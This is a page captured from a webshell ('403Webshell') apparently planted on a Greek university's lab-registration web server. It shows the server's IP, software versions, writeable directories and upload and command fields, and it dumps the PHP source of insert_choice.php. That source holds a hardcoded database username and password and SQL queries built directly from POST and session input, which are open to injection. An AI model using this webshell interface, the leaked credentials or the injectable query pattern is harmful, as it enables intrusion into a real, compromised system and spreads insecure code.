403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/labs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/labs/insert_choice.php
<?php
	/*
	*************************************************************************************
	**	insert_choice.php
	*************************************************************************************
	*/

	session_start();					// Εκκίνηση session.
	header("Cache-control: private");	// Διόρθωση σφάλματος "cache control" για τον IE6. 

	/*
	*************************************************************************************
	**	Έλεγχος για το εάν οι επιλογές στο συγκεκριμένο μάθημα έχουν ήδη γίνει.
	*************************************************************************************
	*/
	$flag_error = 0;
	if($_POST['lesson'])			
	{
		$username = $_SESSION['username'];
		$lesson = $_POST['lesson']; 
 
		$connection = mysqli_connect("localhost", "icd_labs", "t3!$3r") or die(mysqli_error());	
		mysqli_select_db($connection,"laboratories") or die(mysqli_error());
	        mysqli_set_charset($connection,"utf8");
		mysqli_query($connection, "SET NAMES 'utf8'");
  
		$sql_selection = "SELECT * FROM choices WHERE lesson_name = '$lesson' AND am = '$username' ";
		$result_selection = mysqli_query($connection,$sql_selection) or die(mysqli_error());
		if(mysqli_num_rows($result_selection)==1)
		{
			$flag_error = 1;
			$error = "Έχετε ήδη κάνει τις επιλογές σας για το μάθημα $lesson. Αν θέλετε να τις αλλάξετε επιστρέψτε στην <a href=javascript:history.back()>προηγούμενη</a> σελίδα και κάντε κλικ στο αλλαγή.";
		}
	}
 
	/*
	*************************************************************************************
	**	Αν ο χρήστης δεν έχει κάνει ήδη επιλογές για το συγκεκριμένο μάθημα μπορεί να 
	**  επιλέξει τη σειρά εργαστηρίων που επιθυμεί.
	*************************************************************************************
	*/
	if($_POST['lesson'] && $flag_error==0)			
	{
		$lesson = $_POST['lesson'];
		$lesson = stripslashes($lesson);
		$_SESSION['lesson'] = $lesson;
 
		$username = $_SESSION['username'];
		$password = $_SESSION['password'];  

		$connection = mysqli_connect("localhost", "icd_labs", "t3!$3r") or die(mysqli_error());	
		mysqli_select_db($connection,"laboratories") or die(mysqli_error());
	        mysqli_set_charset($connection,"utf8");
		mysqli_query($connection, "SET NAMES 'utf8'");
  
		$sql_lesson = "SELECT * FROM labs WHERE lesson_name = '$lesson'";
		$result_lesson = mysqli_query($connection,$sql_lesson) or die(mysqli_error());
   
		$labs_number = mysqli_num_rows($result_lesson);
		$_SESSION['labs_number'] = $labs_number;
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>E-LABS - ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ, ΥΠΟΛΟΓΙΣΤΩΝ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ - ΔΙΠΑΕ</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-7">
<style type="text/css">
<!--
body {
	background-image: url(pics/back.gif);
}
.style5 {color: #191919; font-weight: bold; }
.style6 {
	font-size: 12px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
.style8 {
	font-size: 14px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	color: #0000CC;
	text-decoration: underline;
}
a:visited {
	color: #0000CC;
	text-decoration: underline;
}
a:hover {
	color: #FFFFFF;
	text-decoration: none;
}
a:active {
	text-decoration: underline;
}
.style7 {
	color: #003300;
	font-weight: bold;
}
.style9 {
	font-size: 14px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #009900;
}
-->
</style></head>

<body>

<div align="left">
  <table width="1000" border="0" cellpadding="0" cellspacing="0">
    <!--DWLayoutTable-->
    <tr>
      <td height="150" colspan="4" valign="top"><img src="pics/index_up.jpg" width="1000" height="150"></td>
      <td width="4">&nbsp;</td>
    </tr>
    <tr>
      <td height="2" colspan="4" valign="top"><img src="pics/horizontal_bar.gif" width="1000" height="2"></td>
      <td></td>
    </tr>
    <tr>
      <td width="16" height="19">&nbsp;</td>
      <td width="590" valign="top"><div align="left" class="style7">Συνδεδεμένος Χρήστης: <?php echo $_SESSION['epitheto']; echo " "; echo $_SESSION['onoma']; ?> </div></td>
      <td width="337">&nbsp;</td>
      <td width="57">&nbsp;</td>
      <td></td>
    </tr>
    <tr>
      <td height="2" colspan="4" valign="top"><img src="pics/horizontal_bar.gif" width="1000" height="2"></td>
      <td></td>
    </tr>
    <tr>
      <td height="25">&nbsp;</td>
      <td>&nbsp;</td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <td height="73">&nbsp;</td>
      <td colspan="2" valign="top">
	  
	    <form action=insert_choice_final.php method=post>
	      <table border=9>
            <!--DWLayoutTable-->
			      
			<tr>
              <td height="21" colspan="3" align="center" valign="top"><span class="style9">ΚΑΤΑΧΩΡΗΣΗ ΕΡΓΑΣΤΗΡΙΟΥ <?php echo " "; echo $lesson; ?></span></td> 
            </tr>
			
			<tr>

<?php

	/*
	*************************************************************************************
	**	Υπολογισμός του εξαμήνου στο οποίο βρίσκεται τυπικά ο σπουδαστής.
	*************************************************************************************
	*/
	$etos_eis = $_SESSION['etos_eis'];
	$eksamino_char = $_SESSION['eksamino'];
	$year = date("Y");
	$month = date("m");
	$years = $year - $etos_eis;

	if($eksamino_char == 'Β')
	{
		if($month == 9 || $month == 10 || $month == 11)
		{
			$eksamino_num = 2 * $years;
		}
		else
		{
			$eksamino_num = 2 * $years - 1;
		}
	}
	else
	{
		if($month == 9 || $month == 10 || $month == 11)
		{
			$eksamino_num = 2 * $years + 1 ;
		}
		else
		{
			$eksamino_num = 2 * $years;
		}
	} 
?>
              
			  <td><input type="hidden" name="eksamino" value="<?php echo $eksamino_num; ?>"></td>
			</tr>
			
			<tr>
			  <td colspan="2"><span class="style5">ΥΠΟΧΡΕΩΤΙΚΗ ΠΑΡΑΚΟΛΟΥΘΗΣΗ</span></td>
			  <td>
			   <select name="ipox_parak">
			    <option value="ΝΑΙ">ΝΑΙ</option>
				<option value="ΟΧΙ">ΟΧΙ</option>
			   </select>
			  </td>
			</tr>
	      
	  		<tr>
              <td><span class="style5">Νο</span></td>
              <td><span class="style5">Εργαστήριο</span></td>
	          <td><span class="style5">Επιλογή</span></td>
            </tr>

<?php

	/*
	*************************************************************************************
	**	Επιλογή σειράς εργαστηριακών μαθημάτων.
	*************************************************************************************
	*/
	$i=0;
	while($row_lesson = mysqli_fetch_array($result_lesson))
	{
?>

			<tr>
			  <td><span class="style5"> <?php echo $i+1; ?> </span></td>
			  <td><span class="style5"> <?php echo $row_lesson[day]; echo " "; echo $row_lesson[time_start]; echo " - "; echo $row_lesson[time_end]; ?></span></td>
			  <td><span class="style5">
			  <select name="choice<?php echo $i+1; ?>">

<?php
		for($j=0;$j<$labs_number;$j++)
		{
?>

			  <option  value="<?php echo $j+1; ?>"><?php echo $j+1; ?></option>

<?php
		}
?>

			  </select>
			  </span></td>
			</tr>
<?php
	$i++;
	}
?>  
			
			<tr>
			<td colspan="3" align="center"><input type="submit" value="ΚΑΤΑΧΩΡΗΣΗ"></td>
			</tr>    
			
        </table>
      </form></td>
      <td>&nbsp;</td>
      <td></td>
    </tr>
    <tr>
      <td height="21">&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <td height="12"></td>
      <td colspan="4" valign="top"><div align="left"><span class="style8">Προσοχή! Αν δηλώνετε το εργαστήριο για πρώτη φορά ή έχετε κοπεί από απουσίες θα πρέπει στο πεδίο ΥΠΟΧΡΕΩΤΙΚΗ ΠΑΡΑΚΟΛΟΥΘΗΣΗ να επιλέξετε ΝΑΙ. Διαφορετικά, αν δηλαδή το έχετε ξαναπαρακολουθήσει και έχετε κοπεί από βαθμό θα πρέπει να δηλώσετε ΟΧΙ. </span></div></td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <td height="409"></td>
      <td>&nbsp;</td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
*    <tr>
*      <td height="581">&nbsp;</td>
*      <td>&nbsp;</td>
*      <td></td>
*      <td></td>
*      <td></td>
*    </tr>
  </table>
</div>
</body>
</html>

<?php
	}
	else
	{
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>E-LABS - ΤΜΗΜΑ ΜΗΧΑΝΙΚΩΝ ΠΛΗΡΟΦΟΡΙΚΗΣ, ΥΠΟΛΟΓΙΣΤΩΝ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ - ΔΙΠΑΕ</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-7">
<style type="text/css">
<!--
body {
	background-image: url(pics/back.gif);
}
.style5 {color: #191919; font-weight: bold; }
.style55 {color: #FF0000; font-weight: bold; }
.style6 {
	font-size: 12px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
a:link {
	color: #0000CC;
	text-decoration: underline;
}
a:visited {
	color: #0000CC;
	text-decoration: underline;
}
a:hover {
	color: #FFFFFF;
	text-decoration: none;
}
a:active {
	text-decoration: underline;
}
.style7 {
	color: #003300;
	font-weight: bold;
}
.style9 {
	font-size: 14px;
	font-weight: bold;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #009900;
}
-->
</style></head>

  <body>
  <table width="1000" border="0" cellpadding="0" cellspacing="0">
  <!--DWLayoutTable-->
  <tr>
    <td height="150" colspan="3" valign="top"><img src="pics/index_up.jpg" width="1000" height="150"></td>
    <td width="4">&nbsp;</td>
  </tr>
  <tr>
    <td width="55" height="119">&nbsp;</td>
    <td width="826" valign="top"><span class="style55">

<?php

	/*
	*************************************************************************************
	**	Εμφάνιση σφάλματος.
	*************************************************************************************
	*/
	if($flag_error==1)
	{
	 echo $error;
	}
	else
	{
     echo "Τα δεδομένα που καταχωρήσατε δεν είναι σωστά. Επιστρέψτε στην αρχική σελίδα για να προσπαθήσετε να επανασυνδεθείτε.";
    }
?>

</span>
	</td>
  <td width="119">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td height="496">&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
</table>
  </body>
  </html>

<?php
	}
	/*
	*************************************************************************************
	**	Developed by Petrellis Manolis.
	*************************************************************************************
	*/
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit